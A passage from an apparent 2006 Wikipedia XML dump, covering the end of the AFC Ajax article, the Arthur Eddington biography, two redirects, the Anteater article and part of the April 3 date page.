*'''[[KNVB Cup|Dutch cup]]: 15'''   
**1917, 1943, 1961, 1967, 1970, 1971, 1972, 1979, 1983, 1986, 1987, 1993, 1998, 1999, 2002.
    
*'''Dutch supercup (from 1996  ''Johan Cruijff-schaal'' ([[Johan Cruijff]] Shield)): 5'''   
**1993, 1994, 1995, 2002, 2005.
    
'''Private Tournaments:'''   

*'''[[Amsterdam Tournament]]: 4'''
**2001, 2002, 2003, 2004

==Current squad==
{{Fs start}}
{{Fs player|no=1|nat=Netherlands|name=[[Maarten Stekelenburg]]|pos=GK}}
{{Fs player|no=2|nat=Tunisia|name=[[Hatem Trabelsi]]|pos=DF}}
{{Fs player|no=3|nat=Czech Republic|name=[[Zdeněk Grygera]]|pos=DF}}
{{Fs player|no=4|nat=Netherlands|name=[[Johnny Heitinga]]|pos=DF}}
{{Fs player|no=6|nat=Czech Republic|name=[[Tomás Galásek]]|pos=MF}}
{{Fs player|no=7|nat=Argentina|name=[[Mauro Rosales]]|pos=FW}}
{{Fs player|no=8|nat=Netherlands|name=[[Hedwiges Maduro]]|pos=MF}}
{{Fs player|no=9|nat=Greece|name=[[Angelos Charisteas]]|pos=FW}}
{{Fs player|no=10|nat=South Africa|name=[[Steven Pienaar]]|pos=MF}}
{{Fs player|no=11|nat=Netherlands|name=[[Ryan Babel]]|pos=FW}}
{{Fs player|no=12|nat=South Africa|name=[[Hans Vonk (footballer)|Hans Vonk]]|pos=GK}}
{{Fs player|no=15|nat=Belgium|name=[[Thomas Vermaelen]]|pos=DF}}
{{Fs player|no=17|nat=Greece|name=[[Yannis Anastasiou]]|pos=FW}}
{{Fs mid}}
{{Fs player|no=18|nat=Netherlands|name=[[Wesley Sneijder]]|pos=MF}}
{{Fs player|no=19|nat=Netherlands|name=[[Urby Emanuelson]]|pos=DF}}
{{Fs player|no=21|nat=Netherlands|name=[[Olaf Lindenbergh]]|pos=MF}}
{{Fs player|no=22|nat=Spain|name=[[Juan Francisco García|Juanfran]]|pos=DF|other=On loan from Besiktas}}
{{Fs player|no=24|nat=Sweden|name=[[Markus Rosenberg]]|pos=FW}}
{{Fs player|no=25|nat=Netherlands|name=[[Klaas-Jan Huntelaar]]|pos=FW}}
{{Fs player|no=27|nat=Armenia|name=[[Edgar Manucharyan]]|pos=FW}}
{{Fs player|no=28|nat=Morocco|name=[[Nourdin Boukhari]]|pos=MF}}
{{Fs player|no=29|nat=Romania|name=[[Nicolae Mitea]]|pos=FW}}
{{Fs player|no=30|nat=Netherlands|name=[[Kenneth Vermeer]]|pos=GK}}
{{Fs player|no=31|nat=Ghana|name=[[Emmanuel Boakye]]|pos=DF}}
{{Fs player|no=33|nat=Netherlands|name=[[Robbert Schilder]]|pos=DF}}
{{Fs player|no=38|nat=Netherlands|name=[[Jeffrey Sarpong]]|pos=MF}}
{{Fs end}}

'''Players on loan'''
{|
{{Fs player|no=|nat=Belgium|name=[[Tom De Mul]]|pos=|other=on loan to [[Vitesse Arnhem]]}}
{{Fs player|no=|nat=Netherlands|name=[[Victor Sikora]]|pos=FW|other=on loan to [[NAC Breda]]}}
|}

==Famous players who once played for Ajax==
{|
|-
|valign=&quot;top&quot; width=&quot;25%&quot;|
*[[Frank Arnesen]]
*[[Shota Arveladze]]
*[[Marco van Basten]]
*[[Dennis Bergkamp]]
*[[Horst Blankenburg]]
*[[Danny Blind]]
*[[Cristian Chivu]]
*[[Johan Cruijff|Johan Cruyff]]
*[[Edgar Davids]]
*[[Frank de Boer]]
*[[Ronald de Boer]]
*[[Dick van Dijk]]
*[[Arie Haan]]
|valign=&quot;top&quot; width=&quot;25%&quot;|
*[[Barry Hulshoff]]
*[[Zlatan Ibrahimović]]
*[[Wim Jonk]]
*[[Piet Keizer]]
*[[Wim Kieft]]
*[[Patrick Kluivert]]
*[[Ronald Koeman]]
*[[Ruud Krol]]
*[[Brian Laudrup]]
*[[Michael Laudrup]]
*[[Søren Lerby]]
*[[Tscheu la Ling]]
|valign=&quot;top&quot; width=&quot;25%&quot;|
*[[Jari Litmanen]]
*[[Rinus Michels]]
*[[Ahmed Hossam|Mido]]
*[[Arnold Mühren]]
*[[Gerrie Mühren]]
*[[Jan Mølby]]
*[[Johan Neeskens]]
*[[Jesper Olsen]]
*[[Marc Overmars]]
*[[Petri Pasanen]]
*[[Stefan Petterson]]
*[[Johnny Rep]]
|valign=&quot;top&quot; width=&quot;25%&quot;|
*[[Frank Rijkaard]]
*[[Edwin van der Sar]]
*[[Clarence Seedorf]]
*[[Wesley Sneijder]]
*[[Wim Suurbier]]
*[[Sjaak Swart]]
*[[Rafael van der Vaart]]
*[[Gerald Vanenburg]]
*[[Velibor Vasovic]]
*[[Aron Winter]]
*[[Richard Witschge]]
*[[Jan Wouters]]
|}

==See also==
*[[Dutch Football League teams]]

==External links==
;Official
*[http://www.ajax.nl/ Ajax.nl - Official website of AFC Ajax] (Dutch)
*[http://english.ajax.nl/ Ajax.nl - Official website of AFC Ajax] (English)

;Unofficial
*[http://www.ajaxusa.com/ Ajax USA - American fansite of AFC Ajax] (English)
*[http://www.ajaxamsterdam.de/ AjaxSupporters.de - German fansite of AFC Ajax] (German)
*[http://www.ajaxenfrance.com/ Ajax en France - French fansite of AFC Ajax] (French)
* [http://www.epitch.co.uk/eredivisie/ajax/ Ajax News] (English)
* [http://www.ajaxpoland.com/ Polish Ajax info site] (Polish)
* [http://www.ajaxportal.com/ Ajax Portal] (Hungarian)
*[http://www.superajax.com/ Superajax.com - Russian fansite of AFC Ajax] (Russian)

{{Champions League 2005/06}}
{{Eredivisie}}

[[Category:Dutch football clubs]]
[[Category:Sport in Amsterdam]]
[[Category:Companies listed on the Euronext exchanges]]
[[Category:Companies of the Netherlands]]
[[Category:1900 establishments]]
[[Category:G-14 clubs]]

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    </revision>
  </page>
  <page>
    <title>Arthur Stanley Eddington</title>
    <id>2274</id>
    <revision>
      <id>40071290</id>
      <timestamp>2006-02-17T22:49:42Z</timestamp>
      <contributor>
        <username>DonSiano</username>
        <id>215548</id>
      </contributor>
      <comment>/* Fundamental theory */ PAM Dirac on numbers</comment>
      <text xml:space="preserve">[[Image:Eddington 2.jpeg|thumb|200px|One of Sir Arthur Stanley Eddington's papers announced [[Albert Einstein|Einstein]]'s theory of [[general relativity]] to the English-speaking world.]]
Sir '''Arthur Stanley Eddington''', [[Order of Merit|OM]] ([[December 28]], [[1882]] &amp;ndash; [[November 22]], [[1944]]) was arguably the most important [[astrophysics|astrophysicist]] from the early [[20th century]]. The [[Eddington limit]], the natural limit to the [[luminosity]] that can be radiated by accretion onto a compact object, is named in his honour. 

He is famous for his work regarding the [[Theory of relativity|Theory of Relativity]]. Eddington wrote an article in 1919, ''Report on the relativity theory of gravitation'', which announced [[Albert Einstein|Einstein]]'s theory of [[general relativity]] to the English-speaking world. Because of [[World War I]], new developments in German science were not well known in England.

==Biography==
===Early years===

Eddington was born in [[Kendal]], [[England]], son of [[Religious Society of Friends|Quaker]] parents. His father, Arthur Henry Eddington, taught at a Quaker training college in Lancashire before moving to Kendal to become headmaster of Stramongate School. He died in the [[typhoid]] epidemic which swept England in 1884. His mother, Sarah Ann Stout, came from Darlington and was also from a Quaker family. When his father died, she was left to bring up Arthur and his older sister with relatively little income. The family moved to [[Weston-super-Mare]] where at first Arthur was educated at home before spending three years at a preparatory school.

In 1893 Arthur entered Brymelyn School. He proved to be a brilliant scholar and excelled in mathematics and English literature. His records won him a 60 pounds scholarship in 1898, and was able to attend [[Victoria University of Manchester|Owens College]] in [[Manchester]] once he turned 16 later that year. He spent the first year in a general course, but turned to [[physics]] for the next three years. Eddington was greatly influenced by one of his mathematics teachers, [[Horace Lamb]]. His progress continued to be rapid, winning him several additional scholarships and allowing him to graduate with a B.Sc. with First Class Honours in 1902.

Based on his performance at Owens, he was awarded a 75 pound scholarship at [[Trinity College, Cambridge|Trinity College]], [[University of Cambridge|Cambridge]], which he entered in 1903. He graduated with a masters in 1905, and entered the [[Cavendish Laboratory]] researching [[thermionic emission]]. This did not go well so he returned to mathematics, but appeared to not enjoy this very much.

===Astronomy===
[[Image:Eddington 5.jpeg|thumb|250px|Eddington helped to experimentally verify the theory of general relativity by observing the appearance of stars around the region of a solar eclipse.]]

After leaving university later in 1905, Eddington's first full-time position was as the chief assistant to the Astronomer Royal at the [[Royal Greenwich Observatory]]. He was put to work on the detailed analysis [[parallax]] of [[Eros]] on [[photographic plate]]s that had started in 1900. He developed a new statistical method based on the apparent drift of two background stars, winning him the Smith's Prize in 1907.

The prize won him a Trinity College Fellowship. In December 1912 [[George Darwin]], son of [[Charles Darwin]], died suddenly and Eddington was promoted to his chair as the [[Plumian Professor of Astronomy and Experimental Philosophy]] in early 1913. Later that year, [[Robert Ball]], holder of the theoretical [[Lowndean Professor of Astronomy and Geometry|Lowndean chair]] also died, and Eddington was named the director of the entire [[Cambridge Observatory]] the next year. He was elected a Fellow of the [[Royal Society]] shortly thereafter.

During [[World War I]], Eddington was called up for [[military service]]. Being a member of the Religious Society of Friends (Quakers) and a [[pacifism|pacifist]], he refused to serve in the army as a [[conscientious objector]], and wanted to be allowed to do alternative service instead. Scientific friends of his solved the problem by successfully arguing to relieve him from military duty because of his importance for science.

[[Image:1919 eclipse negative.jpg|250px|thumb|right|One of Eddington's photographs of the 1919 eclipse, presented in his 1920 paper announcing its success.]]

After the war, Eddington travelled to the island of [[Príncipe]] near Africa to watch the [[solar eclipse]] of [[May 29]] [[1919]]. During the eclipse, he took pictures of the stars in the region around the Sun. According to the theory of [[general relativity]], stars near the Sun would appear to have been slightly shifted because their light had been curved by its gravitational field. This effect is noticeable only during an eclipse, since otherwise the Sun's brightness obscures the stars. Newtonian gravitation predicted half the shift of general relativity.

Eddington's observations confirmed Einstein's theory, and were hailed at the time as a conclusive proof of general relativity over the Newtonian model; the news was reported in newspapers all over the world as a major story. It is also the source of the [[urban rumor]] that only three people understand relativity; when asked by a reporter who suggested this, Eddington jokingly replied &quot;Oh, who's the third?&quot;

However, recent historical examinations of the case have shown that the raw data was inconclusive, and that Eddington was arbitrarily selective in choosing which results to use. For a detailed account, see [[Predictive power#Relativity and the 1919 eclipse|predictive power]].

Eddington also investigated the interior of [[star]]s through theory, and developed the first true understanding of stellar processes. He modelled stars as gas in radiative equilibrium; the star was stabilized by gravity pulling in, and gas pressure (temperature) and radiation pressure pushing out. Noting that the temperatures meant that the atoms in stars would be almost entirely [[ion]]ized, he theorized that they would behave as almost-[[ideal gas]]es, thereby making the mathematics much more tractable.

With these assumptions, he demonstrated that the interior temperature of stars must be millions of degrees. He discovered the mass-luminosity relationship for [[star]]s, he calculated the abundance of hydrogen and he produced a theory to explain the pulsation of [[Cepheid variable]] stars.

In [[1920]],  Eddington, on the basis of the precise measurements of atomic weights by [[Francis William Aston|F. W. Aston]], was the first to suggest that stars obtained their energy from [[nuclear fusion]] of [[hydrogen]] to [[helium]]. This was the first suggestion that stars obtained their energy from nuclear fusion, over which he had a long running argument with [[James Jeans]]. Later, in 1938 and 1939, [[Hans Bethe]] introduced the theory for the fusion, which made the process seem rather &quot;natural&quot; and the debate generally ended.

Throughout this period Eddington lectured on relativity, and was particularly well known for his ability to explain the concepts in lay terms as well as scientific. He collected many of these into the ''Mathematical Theory of Relativity'' in 1923, which [[Albert Einstein]] suggested was ''the finest presentation of the subject in any language.''

===Fundamental theory===
During [[1920s]] until his death, he increasingly concentrated on what he called &quot;[[Theory of everything|fundamental theory]]&quot; which was intended to be a unification of [[quantum theory]], [[theory of relativity|relativity]] and [[gravitation]]. At first he progressed along &quot;traditional&quot; lines, but turned increasingly to an almost [[numerology|numerological]] analysis of the dimensionless ratios of fundamental constants. His work was increasingly seen as &quot;crankish&quot;, and he became something of a science pariah in his later years.

His basic approach was to combine several fundamental constants in order to produce a dimensionless number. In many cases these would result in numbers close to 10&lt;sup&gt;&lt;small&gt;40&lt;/small&gt;&lt;/sup&gt;, its square, or its cube root. He was convinced that the mass of the [[proton]] and the charge of the [[electron]], were a ''natural and complete specification for constructing a Universe'' and that their values were not accidental. One of the discoverers of quantum mechanics, [[P. A. M. Dirac]], also pursued this line of investigation, which has become known as the [[Dirac large numbers hypothesis]], and some scientists even today believe it has something to it.

A particularly damaging statement in his defence of these concepts involved the  [[fine structure constant]] α. At the time it was measured to be very close to 1/136, and he argued that the value should in fact be ''exactly'' 1/136 for various reasons. Later measurements placed the value much closer to 1/137, at which point he switched his line of reasoning and claimed that the value should in fact be exactly 1/137, the [[Eddington number]]. At this point most other researchers stopped taking his concepts very seriously. The current measured value is estimated at 1/137.03599911.

He did not complete this line of research before his death in 1944, and his book entitled ''Fundamental Theory'' was published posthumously in 1946. Eddington died in [[Cambridge]], [[England]].

It was rather unfortunate that he vehemently opposed the budding Indian scientist [[Subrahmanyan Chandrasekhar]] about his theory on the maximum mass of stars known as white dwarfs, the mass above which the star collapses and becomes a [[neutron star]], quark star or [[black hole]]. Chandrasekhar was proven to be right, and went on to win the Nobel Prize in Physics in 1983.

==Honours==
'''Awards'''
*[[Bruce Medal]] ([[1924]])
*[[Henry Draper Medal]] (1924)
*[[Gold Medal of the Royal Astronomical Society]] (1924)
*[[Royal Medal]] of the [[Royal Society]] ([[1928]])
*Knighted ([[1930]])
*[[Order of Merit]] ([[1938]])
'''Named after him'''
*[[Eddington (crater)|Eddington Crater]] on the [[Moon]]
*[[Asteroid]] [[2761 Eddington]]
*[[Royal Astronomical Society]]'s [[Eddington Medal]]

==Writer==

Eddington was a superb populariser of science, writing many books aimed at the layman. He is also attributed with introducing the [[Infinite Monkey Theorem]] with the [[1929]] phrase &quot;If an army of monkeys were strumming on typewriters, they might write all the books in the [[British Museum]]&quot;.

===Publications===

* Eddington, Arthur S., &quot;''[http://www.bibliomania.com/NonFiction/Eddington/Stars/index.html Stars and Atoms]''&quot;. British Association,  Oxford. August 1926.
* Eddington, Arthur S., &quot;''The internal Constitution of Stars''&quot;. [[Cambridge University Press]], Cambridge. 1926. ISBN 0521337089
* Eddington, Arthur S., &quot;''Fundamental Theory''&quot; Cambridge University Press, London. 1928.
* Eddington, Arthur S., &quot;''Science and the Unseen World''&quot;. New York: Macmillan, 1929. ISBN 0849514266
* Eddington, Arthur S., &quot;''Expanding Universe: Astronomy's 'Great Debate', 1900-1931''&quot;. Cambridge University Press. ISBN 0521349761
* Eddington, Arthur S., &quot;''The Nature of the Physical World''&quot;. The MacMillan Company. November 1928. ISBN 0841438854
* Eddington, Arthur S., &quot;''New Pathways in Science''&quot;. Cambridge University Press, Cambridge. 1935.
* Eddington, Arthur S., &quot;''Space, Time and Gravitation: An Outline of the General Relativity Theory''&quot;. Cambridge University Press. ISBN 0521337097
* Eddington, Arthur S., &quot;''Philosophy of Physical Science''&quot;. Textbook Publishers. ISBN 0758120540
* Eddington, Arthur S., &quot;''The Domain of Physical Science''&quot;.

==See also==

* '''[[Astronomy]]''': [[Eddington limit]], [[Chandrasekhar limit]], [[Gravitational lens]], [[Stellar nucleosynthesis]], [[Timeline of stellar astronomy]], [[List of astronomers|Astronomers]], [[List of astrophysicists|Astrophysicists]]
* '''[[Science]]''': [[Pathological science]], [[Fundamental physical constant]], [[Timeline of gravitational physics and relativity]], [[General relativity]], [[Special relativity]], [[Luminiferous aether]], [[List of famous experiments|Experiments]], [[Fundamental theory]], [[Eddington number]]. [[Eddington-Dirac number]]
* '''Organizations''': [[Trinity College, Cambridge]], [[Religious Society of Friends]], [[Royal Astronomical Society]]
* '''Other''': [[Georges Lemaître]], [[Infinite monkey theorem]], [[One hundred thirty-seven]], [[Numerology]], [[Eddington]] (locations), [[List of English people]], [[List of astronomical topics]]

==External links and references==
{{commons|Arthur Stanley Eddington}}
{{wikiquote}}
* O'Connor, J. J., and E. F. Robertson, &quot;''[http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Eddington.html Arthur Stanley Eddington]''&quot;. School of Mathematics and Statistics, University of St Andrews, Scotland.
** Eddington [http://www-gap.dcs.st-and.ac.uk/~history/Quotations/Eddington.html Quotations]
* Bennett, Clark, &quot;''[http://www.usd.edu/phys/courses/phys300/gallery/clark/edd.html Sir Arthur Eddington] (1882-1944)''&quot;. Founding Fathers of Relativity.
* Tenn, Joseph S.,&quot;[http://phys-astro.sonoma.edu/brucemedalists/eddington/ Arthur Stanley Eddington]&quot;. The Bruce Medalists.
* Clausen, Ben, &quot;''[http://www.grisda.org/bclausen/papers/co46.htm Men of Science and of Faith in God], Sir Arthur Stanley Eddington (1882&amp;ndash;1944)''&quot;.
* Russell, Henry Norris, &quot;''[http://adsbit.harvard.edu/cgi-bin/nph-iarticle_query?bibcode=1928ApJ....67...83R Review of The Internal Constitution of the Stars] by A.S. Eddington''&quot;. Ap.J. 67, 83 (1928).
* Durham, Ian T.,  &quot;''[http://org/abs/physics/0204057 Eddington &amp; Uncertainty]''&quot;. Physics in Perspective (Sept. &amp;ndash; Dec.). Arxiv, History of Physics.
* [http://ads.nao.ac.jp//full/seri/PASP./0036//0000002.000.html Awarding of Bruce Medal: PASP '''36''' (1924) 2]
* [http://ads.nao.ac.jp//full/seri/MNRAS/0084//0000548.000.html Awarding of RAS gold medal: MNRAS '''84''' (1924) 548]
* Waller, John, &quot;''Einstein's Luck: The Truth Behind Some of the Greatest Scientific Discoveries''&quot;. Oxford University Press, 2003. ISBN 0198607199
* {{MacTutor Biography|id=Eddington}}

===Obituaries===
* [http://adsabs.harvard.edu//full/seri/ApJ../0101//0000133.000.html ApJ '''101''' (1943-46) 133]
* [http://adsabs.harvard.edu//full/seri/JRASC/0039//0000001.000.html JRASC '''39''' (1943-46) 1]
* [http://adsabs.harvard.edu//full/seri/MNRAS/0105//0000068.000.html MNRAS '''105''' (1943-46) 68]
* [http://adsabs.harvard.edu//full/seri/Obs../0066//0000001.000.html Obs '''66''' (1943-46) 1]

[[Category:1882 births|Eddington, Arthur Stanley]]
[[Category:1944 deaths|Eddington, Arthur Stanley]]
[[Category:Alumni of Trinity College, Cambridge|Eddington, Arthur Stanley]]
[[Category:Astrophysicists|Eddington, Arthur Stanley]]
[[Category:British astronomers|Eddington, Arthur Stanley]]
[[Category:Christians in science|Edd]]
[[Category:Contributors to general relativity|Eddington, Arthur Stanley]]
[[Category:Fellows of the Royal Society|Eddington, Arthur Stanley]]
[[Category:Quakers|Eddington, Arthur Stanley]]
[[Category:Conscientious objectors|Eddington, Arthur Stanley]]

[[de:Arthur Stanley Eddington]]
[[eo:Arthur EDDINGTON]]
[[fr:Arthur Eddington]]
[[it:Arthur Eddington]]
[[nl:Arthur Eddington]]
[[ja:アーサー・エディントン]]
[[pl:Arthur Stanley Eddington]]
[[sl:Arthur Stanley Eddington]]
[[sv:Arthur Eddington]]
[[zh:亚瑟&amp;#183;埃丁顿]]</text>
    </revision>
  </page>
  <page>
    <title>Apple II</title>
    <id>2275</id>
    <revision>
      <id>41734583</id>
      <timestamp>2006-03-01T10:45:14Z</timestamp>
      <contributor>
        <username>Mirror Vax</username>
        <id>231030</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">#REDIRECT [[Apple II family]]</text>
    </revision>
  </page>
  <page>
    <title>American Revolutionary War/Article from the 1911 Encyclopedia</title>
    <id>2277</id>
    <revision>
      <id>15900707</id>
      <timestamp>2004-02-25T18:34:04Z</timestamp>
      <contributor>
        <username>Dante Alighieri</username>
        <id>5455</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[American Revolutionary War]]</text>
    </revision>
  </page>
  <page>
    <title>Anteater</title>
    <id>2278</id>
    <revision>
      <id>41360280</id>
      <timestamp>2006-02-26T21:16:49Z</timestamp>
      <contributor>
        <username>Eugene van der Pijll</username>
        <id>22016</id>
      </contributor>
      <minor />
      <comment>color taxobox = pink</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Anteater
| image = anteater.png
| image_width = 200px
| image_caption = [[Giant Anteater]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Xenarthra]]
| familia = '''Myrmecophagidae'''
| familia_authority = [[John Edward Gray|Gray]], 1825
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
[[Myrmecophaga]]&lt;br /&gt;
[[Tamandua]]&lt;br /&gt;
[[Cyclopes (genus)|Cyclopes]]
}}
[[Image:Tamandua_anteater_Costa_Rica.jpg|thumb|250px|A Tamandua anteater in [[Costa Rica]] &lt;br&gt;&lt;br&gt;Photograph by Dirk van der Made]]
'''Anteaters''' are [[mammal]]s  of 4 species of the order [[Xenarthra]] and the [[family (biology)|family]] '''Myrmecophagidae''', commonly known for eating [[ant]]s and [[termite]]s. 
==Physiology==
The largest representative of the group is the Giant Anteater or Ant-bear (''Myrmecophaga tridactyla'' or ''jubata''), an animal measuring 4 feet (1.2 m) in length without the tail, and 2 feet (60 cm) in height at the shoulder. It has a long, thin head and a large, bushy tail.  Its prevailing color is grey, with a broad black band, bordered with white, starting on the chest, and passing obliquely over the shoulder, diminishing gradually in breadth as it approaches the loins, where it ends in a point.

It is extensively distributed in the tropical parts of [[South America|South]] and [[Central America]], frequenting low swampy savannas, along the banks of rivers, and the depths of the humid forests, but is nowhere abundant.

Its food consists mainly of [[termite]]s, which it obtains by opening their nests with its powerful sharp anterior (front) claws.  As the insects swarm to the damaged part of their dwelling, it draws them into its mouth by means of its long, flexible, rapidly moving tongue covered with sticky saliva. 

The Giant Anteater lives above ground, not burrowing underground like [[armadillo]]s. Though generally an inoffensive animal, when attacked it can defend itself with its sabre-like anterior claws. The female produces one offspring per birth.

The two tamandua anteaters, as typified by ''Tamandua'' (or ''Uroleptes'') ''tetradactyla'', are much smaller than the Giant Anteater, and differ essentially from it in their habits, being mainly arboreal. They inhabit the dense primeval forests of South and Central America. The usual colour is yellowish-white, with a broad black lateral band, covering nearly the whole of the side of the body.

The little or two-toed or Silky Anteater (''Cyclopes'' or ''Cyclotorus didactylus'') is a native of the hottest parts of South and Central America, and about the size of a [[rat]], of a general yellowish color, and exclusively arboreal in its habits.
==Family order==
* '''ORDER XENARTHRA'''
** '''Family Myrmecophagidae'''
*** Silky Anteater, ''[[Cyclopes didactylus]]''
*** Giant Anteater, ''[[Myrmecophaga tridactyla]]''
*** Northern Tamandua, ''[[Tamandua mexicana]]''
*** Southern Tamandua, ''[[Tamandua tetradactyla]]''
** Family [[Megalonychidae]]: two toed sloths
** Family [[Bradypodidae]]: three toed sloths
** Family [[Dasypodidae]]: armadillos

=== Similar animals ===
* [[Pangolin]]s are also called ''scaly anteaters''. 
* The [[Numbat]] (''Myrmecobius fasciatus''), a [[marsupial]], formerly called the ''Banded Anteater''.
* [[Echidna]]s, a family of [[monotreme]]s, are still sometimes called ''spiny anteaters''.
* [[Aardvark]]s are African animals with similar habits.

== Anteaters as Mascots ==
The Anteater is the mascot of the [[University of California, Irvine]].

== References ==
* {{1911}}

{{Commons|Tamandua}}


[[Category:Mammals]]
[[Category:Xenarthrans]]
[[Category:Argentine fauna]]
==External links==
*[http://www.maiaw.com/anteater The Online Anteater: information, images, fun facts, and other stuff about the giant anteater]
*[http://www.junglephotos.com/amazon/amanimals/ammammals/anteater.shtml Giant anteater photo and natural history]
*[http://animals.mongabay.com/featured/Giant_Anteater.html Giant Anteater - links]


[[de:Ameisenbären]]
[[es:Oso hormiguero]]
[[eo:Formikomanĝuloj]]
[[fr:Myrmecophagidae]]
[[it:Myrmecophagidae]]
[[he:דובי נמלים]]
[[lt:Skruzdėdiniai]]
[[nl:Echte miereneters]]
[[no:Maurslukere]]
[[pl:Mrówkojady]]
[[pt:Tamanduá]]
[[ru:Муравьеды]]
[[simple:Anteater]]
[[sv:Myrslokar]]</text>
    </revision>
  </page>
  <page>
    <title>April 3</title>
    <id>2279</id>
    <revision>
      <id>42114454</id>
      <timestamp>2006-03-03T22:39:39Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>/* Births */ remove link to deleted article</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|-
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=3}}
|}

'''April 3''' is the 93rd day of the year (94th in [[leap year]]s) in the [[Gregorian calendar]], with 272 days remaining.
==Events==
*[[33]] - [[Crucifixion]] of [[Jesus]] (traditional date)
*[[1077]] - Creation of the first [[Parliament]] of [[Friuli]]
*[[1559]] - The treaty, [[Peace of Cateau-Cambrésis]], is signed, ending the [[Italian Wars]].
*[[1860]] - The first successful [[Pony Express]] run from [[Saint Joseph, Missouri]] to [[Sacramento, California]] begins, and is completed on [[April 13]].
*[[1865]] - [[American Civil War]]: [[United States|Union]] forces capture [[Richmond, Virginia]], the capital of the break-away [[Confederate States of America]].
*[[1882]] - [[American Old West]] outlaw [[Jesse James 1847|Jesse James]] is shot in the back and killed in [[Saint Joseph, Missouri]] by Robert Ford for a $5,000 reward.  
*[[1885]] - [[Gottlieb Daimler]] is granted a [[Germany|German]] [[patent]] for his [[engine]] design.
*[[1895]] - The [[libel]] trial instigated by [[Oscar Wilde]] against the [[John Sholto Douglas, 9th Marquess of Queensberry|Marquess of Queensbury]] begins, eventually resulting in Wilde's arrest, trial and imprisonment on charges of [[homosexuality]].
*[[1896]] - The first publication of ''[[La Gazzetta dello Sport]]'' [[newspaper]] in [[Italy]].
*[[1917]] - [[Vladimir Lenin]] arrives at Petrograd Station in Russia from exile, marking the beginning of Bolshevik leadership in the Russian Revolution.
*[[1922]] - [[Joseph Stalin]] succeeds [[Vladimir Lenin|Vladimir Lenin]] as leader of the [[Soviet Union]].
*[[1936]] - [[Richard Bruno Hauptmann]] is executed for the kidnapping and death of [[Lindbergh kidnapping|Charles Augustus Lindbergh III]], the baby son of Anne and world-famous pilot [[Charles Lindbergh]].
*[[1941]] - [[Hungary|Hungarian]] and [[Germany|German]] troops march into [[Kingdom of Yugoslavia|Yugoslavia]].  
*[[1942]] - [[World War II]]: [[Japan]]ese forces begin an all-out assault on the [[United States]] and [[Philippines | Filipino]] troops on the [[Bataan Peninsula]]. Bataan falls on [[April 9]] and the [[Bataan Death March]] began.
*[[1946]] - [[Japan]]ese Lt. General [[Masaharu Homma]] is executed outside [[Manila]] in the [[Philippines]] for leading the [[Bataan Death March]].  
*[[1948]] - [[President of the United States|President]] [[Harry Truman]] signs the [[Marshall Plan]] which authorizes $5 billion in aid for 16 countries.  
*1948 - In [[Jeju]], [[South Korea]], locals simultaneously raid the island's police stations, marking the start of a civil-war-like period of violence and [[human rights abuses]] known as the [[Jeju massacre]].
*[[1953]] - ''[[TV Guide]]'' debuts.  
*[[1955]] - The [[American Civil Liberties Union]] announces it will defend [[Allen Ginsberg]]'s book ''[[Howl]]'' against [[obscenity]] charges.
*[[1956]] - [[Elvis Presley]] sings &quot;[[Heartbreak Hotel]]&quot; on the ''Milton Berle Show'', with an estimated 25% of the [[United States]] population viewing.
*[[1968]] - [[Simon and Garfunkel]] release the critically acclaimed album ''[[Bookends]]''.
*1968 - [[Martin Luther King Jr.]] delivers his &quot;mountaintop&quot; speech.  
*[[1969]] - [[Vietnam War]]: [[Vietnamization]] - U.S. Secretary of Defense [[Melvin Laird]] announces that the [[United States]] will start to &quot;Vietnamize&quot; the war effort.
*[[1971]] - In [[Dublin]], [[Ireland]], [[Séverine (singer)|Séverine]] wins the [[Eurovision Song Contest]] for [[Monaco]] singing &quot;Un banc, un arbre, une rue&quot; (A bench, a tree, a street).
*[[1972]] - The first ever [[mobile phone]] call is placed in [[New York City]]
*[[1974]] - [[The Super Outbreak]] occurs, with 148 tornadoes affecting 13 states and 1 Canadian province in 18 hours, the biggest tornado outbreak in recorded history. The death toll is 315, with nearly 5,500 injured.
*1974 - An [[F4]] class tornado rips through [[Monticello, Indiana]], killing 8 and causing $100 million in damage (the cornerstone of the city hall is later found in rural Maine), while another tornado strikes [[Brandenburg, Kentucky]], killing over 30 individuals.  
*[[1975]] - [[Bobby Fischer]] refuses to play in a [[chess]] match against [[Anatoly Karpov]], giving Karpov the title.
*[[1976]] - In [[The Hague]], [[Netherlands]], [[Brotherhood of Man]] wins the twenty-first [[Eurovision Song Contest]] for the [[United Kingdom]] singing &quot;Save Your Kisses For Me&quot;.
*[[1986]] - [[International Business Machines|IBM]] unveils the [[PC Convertible]], their first [[laptop computer]].
*[[1996]] - Suspected &quot;Unabomber&quot; [[Theodore Kaczynski]] is arrested at his [[Montana]] cabin.
*1996 - An [[Air Force]] 737 carrying [[United States Secretary of Commerce]] [[Ron Brown (U.S. politician)|Ron Brown]] crashes in [[Croatia]], killing all 35 on-board, including Brown.
*[[1997]] - [[Thalit massacre]] begins in [[Algeria]]; all but 1 of the 53 inhabitants of Thalit are killed by guerrillas.
*[[2000]] - [[United States v. Microsoft]]: [[Microsoft]] is ruled to have violated [[United States]] [[antitrust]] laws by keeping &quot;an oppressive thumb&quot; on its competitors.
*[[2004]] - [[Islamist]] [[terrorists]] involved in the [[11 March 2004 Madrid attacks]] are trapped by the police in their apartment and kill themselves with explosives.

==Births==
*[[1151]] - [[Igor Svyatoslavich]], Russian prince (d. [[1202]])
*[[1245]] - King [[Philip III of France]] (d. [[1285]])
*[[1367]] - King [[Henry IV of England]] (d. [[1413]])
*[[1529]] - [[Michael Neander]], German mathematician and astronomer (d. [[1581]])
*[[1593]] - [[George Herbert]], English poet and orator (d. [[1633]])
*[[1643]] - [[Charles IV, Duke of Lorraine]], general of the Holy Roman Empire (d. [[1690]])
*[[1683]] - [[Mark Catesby]], English naturalist (d. [[1749]])
*[[1693]] - [[George Edwards]], English naturalist (d. [[1773]])
*[[1715]] - [[John Hanson]], American delegate to the Continental Congress (d. [[1783]])
*1715 - [[William Watson (scientist)|William Watson]], English physician and scientist (d. [[1787]])
